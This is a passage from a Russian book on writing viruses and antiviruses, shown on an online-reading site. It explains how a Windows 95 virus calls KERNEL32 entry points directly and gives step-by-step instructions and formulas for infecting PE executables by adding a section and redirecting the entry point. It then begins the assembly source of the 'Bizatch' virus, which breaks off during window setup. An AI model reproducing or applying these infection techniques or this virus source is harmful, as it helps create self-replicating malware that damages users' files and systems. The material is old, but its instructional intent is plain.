Чтение онлайн

на главную - закладки

Жанры

Создаем вирус и антивирус
Шрифт:

Вызов API приложениями выглядит приблизительно так:

call API_FUNCTION_NAME

например:

call CreateFileA

После компиляции этот вызов выглядит так:

db 9Ah ;инструкция call dd ???? ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

push function value call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке

значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL−модуля

LPCSTR lpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize

и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ <LARGE>

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

LoadIcon equ <LoadIconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

.data

newhwnd dd 0

lppaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

wc WNDCLASS <?>

mbx_count dd 0

hInst dd 0

szTitleName db ”Bizatch by Quantum / VLAD activated”

zero db 0

szAlternate db ”more than once”,0

szClassName db ”ASMCLASS32”,0

;Сообщение, выводимое в окне

szPaint db ”Left Button pressed:”

s_num db ”00000000h times.”,0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero],” ”

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

Поделиться:
Популярные книги

На границе империй. Том 7. Часть 3

INDIGO
9. Фортуна дама переменчивая
Фантастика:
космическая фантастика
попаданцы
5.40
рейтинг книги
На границе империй. Том 7. Часть 3

Здравствуйте, я ваша ведьма! Трилогия

Андрианова Татьяна
Здравствуйте, я ваша ведьма!
Фантастика:
юмористическая фантастика
8.78
рейтинг книги
Здравствуйте, я ваша ведьма! Трилогия

Найди меня Шерхан

Тоцка Тала
3. Ямпольские-Демидовы
Любовные романы:
современные любовные романы
короткие любовные романы
7.70
рейтинг книги
Найди меня Шерхан

Мастер 8

Чащин Валерий
8. Мастер
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Мастер 8

Наследник павшего дома. Том II

Вайс Александр
2. Расколотый мир [Вайс]
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Наследник павшего дома. Том II

Пышка и Герцог

Ордина Ирина
Фантастика:
юмористическое фэнтези
историческое фэнтези
фэнтези
5.00
рейтинг книги
Пышка и Герцог

Измена. Он все еще любит!

Скай Рин
Любовные романы:
современные любовные романы
6.00
рейтинг книги
Измена. Он все еще любит!

Ищу жену с прицепом

Рам Янка
2. Спасатели
Любовные романы:
современные любовные романы
6.25
рейтинг книги
Ищу жену с прицепом

Протокол "Наследник"

Лисина Александра
1. Гибрид
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Протокол Наследник

Жена по ошибке

Ардова Алиса
Любовные романы:
любовно-фантастические романы
7.71
рейтинг книги
Жена по ошибке

Медиум

Злобин Михаил
1. О чем молчат могилы
Фантастика:
фэнтези
7.90
рейтинг книги
Медиум

Чужая семья генерала драконов

Лунёва Мария
6. Генералы драконов
Фантастика:
фэнтези
5.00
рейтинг книги
Чужая семья генерала драконов

Отчий дом. Семейная хроника

Чириков Евгений Николаевич
Проза:
классическая проза
5.00
рейтинг книги
Отчий дом. Семейная хроника

Я не Монте-Кристо

Тоцка Тала
Любовные романы:
современные любовные романы
5.57
рейтинг книги
Я не Монте-Кристо